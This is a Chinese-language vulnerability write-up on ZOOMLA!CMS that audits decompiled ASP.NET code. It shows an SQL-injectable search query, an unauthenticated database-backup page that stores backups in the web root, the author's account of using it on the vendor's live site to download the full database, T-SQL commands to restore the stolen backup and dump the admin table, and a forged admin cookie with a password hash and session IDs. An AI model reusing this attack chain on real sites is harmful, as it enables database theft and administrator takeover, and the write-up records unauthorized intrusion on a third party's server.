代码审计：逐浪CMS（ZOOMLA!CMS）详细漏洞挖掘过程

没有任何特别的地方，就是说没有任何的验证等，找找哪个aspx文件还有这个类和dll名，/manage/Config/sousuo.aspx里的信息是：

包括有类名和dll名。所以可以完全断定我们要看的就是这个页面了。
查看click方法：

if (this.TextBox1.Text == "")
    {
        function.WriteErrMsg("请输入要检索的内容", "/manage/Config/sousuo.aspx");
    }
    string cmdText = "declare @str varchar(100) set @str='" + this.TextBox1.Text + "' declare @s varchar(8000) declare tb cursor local for select s='if exists(select 1 from ['+b.name+'] where ['+a.name+'] like ''%'+@str+'%'') print '' ['+b.name+'].['+a.name+']''' from syscolumns a join sysobjects b on a.id=b.id where b.xtype='U' and a.status>=0 and a.xusertype in(175,239,231,167) open tb fetch next from tb into @s while @@fetch_status=0 begin exec(@s) fetch next from tb into @s end close tb deallocate tb";
     this.conn.InfoMessage += new SqlInfoMessageEventHandler(this.info);
    this.conn.Open();
    new SqlCommand(cmdText, this.conn)
    {
        CommandType = CommandType.Text
    }.ExecuteNonQuery();

TextBox1.Text就是搜索的文本框本身，cmdText就是拼接的字符串，很明显有注入的问题。至于对于declare怎样进行注入，再研究下declare基本就可以搞了。

不过这个sql注入不是什么最致命的问题。后面一个漏洞才是有点威胁的。
0X04 无验证数据库备份与数据库下载
简单说，就是非管理员可以随意备份数据库，而且可以直接下下来……
好了，直接简单说下过程：
无意中看到另外一个类manage_Config_BackupRestore中的page_load方法：

protected void Page_Load(object sender, EventArgs e)
    {
        if (!base.IsPostBack)
        {
            this.DatabasePath.Text = DateTime.Now.ToString("MMdd") + "ZoomlaCMS";
         }
        string[] array = SqlHelper.ConnectionString.ToString().Split(new char[]
        {
            ';'
        });
        string[] array2 = array;
        for (int i = 0; i < array2.Length; i++)
        {
            string text = array2[i];
            if (text.ToLower().Contains("initial catalog"))
            {
                this.database = text.Split(new char[]
                {
                    '='
                })[1];
            }
        }
        if (!base.IsPostBack)
        {
            this.Bind();
        }
    }

protected void Backup_Click(object sender, EventArgs e)
    {
        string text = HttpContext.Current.Request.PhysicalApplicationPath + "/temp";
         if (!Directory.Exists(text))
        {
            Directory.CreateDirectory(text);
        }
        string strSql = string.Concat(new string[]
        {
            "backup database ",
            this.database,
            " to  disk='",
            text,
            "/",
            this.DatabasePath.Text,
            ".bak'  with  init "
        });
        if (!SqlHelper.ExecuteSql(strSql))
        {
            function.WriteSuccessMsg("<li>数据库备份成功</li>", "/manage/Config/BackupRestore.aspx");
         }
    }

上面的操作简单说就是把数据备份到网站目录下的temp文件夹中去。然后也没有做任何的访问控制！！
好吧，既然那么悲剧，拿官网来测试一下：

小小备份一个：

还会自动压缩让你下载的，很不错。整个数据库都在手上了，一个爽啊。

USE master
RESTORE FILELISTONLY
   FROM DISK = 'c:\1.Bak'
GO

可以查询到logicalname，这两个信息比较重要，把他拼凑到命令中，第二步执行的命令如下：

USE master
RESTORE DATABASE DB
   FROM DISK = 'c:\1.Bak'
   WITH MOVE 'zoomlapub' TO ' c:\DB.mdf',
   MOVE 'zoomlapub_log' TO ' c:\DB_log.ldf',
STATS = 10, REPLACE
GO

执行了这步之后，就恢复出了一个DB数据库了。直接use这个数据库，进行下面的查询：
select * from zl_manager

public void CheckIsLogin()
{
    string managePath = B_Admin.GetManagePath();
    if (HttpContext.Current.Request.Cookies["ManageState"] == null)
    {
        HttpContext.Current.Response.Redirect("~/" + managePath + "/Login.aspx");
         return;
    }
    string loginName = HttpContext.Current.Request.Cookies["ManageState"]["LoginName"];
     if (!string.IsNullOrEmpty(loginName))
    {
        loginName = StringHelper.Base64StringDecode(loginName);
    }
    string password = HttpContext.Current.Request.Cookies["ManageState"]["Password"];
     if (this.GetLoginAdmin(loginName, password).IsNull)
    {
        HttpContext.Current.Response.Redirect("~/" + managePath + "/Login.aspx");
    }
}

bdshare_firstime=1043514000222; ASP.NET_SessionId=s51a23555nie5tqx2ln3lxub; hasshown=1; ASP.NET_SessionId=13gv3o45g44arjfbv50errzd; ManageState=ManageId=1&LoginName=YWRtaW4=&TrueName=YWRtaW4=&Password=7fef6171469e80d32c0559f88b377245&Role=1&randNum=8105349550; UserState=LoginName=YWRtaW4=&Password=7fef6171469e80d32c0559f88b377245; ASPX=8788addf2ceec7e4b2971ae436cb82e7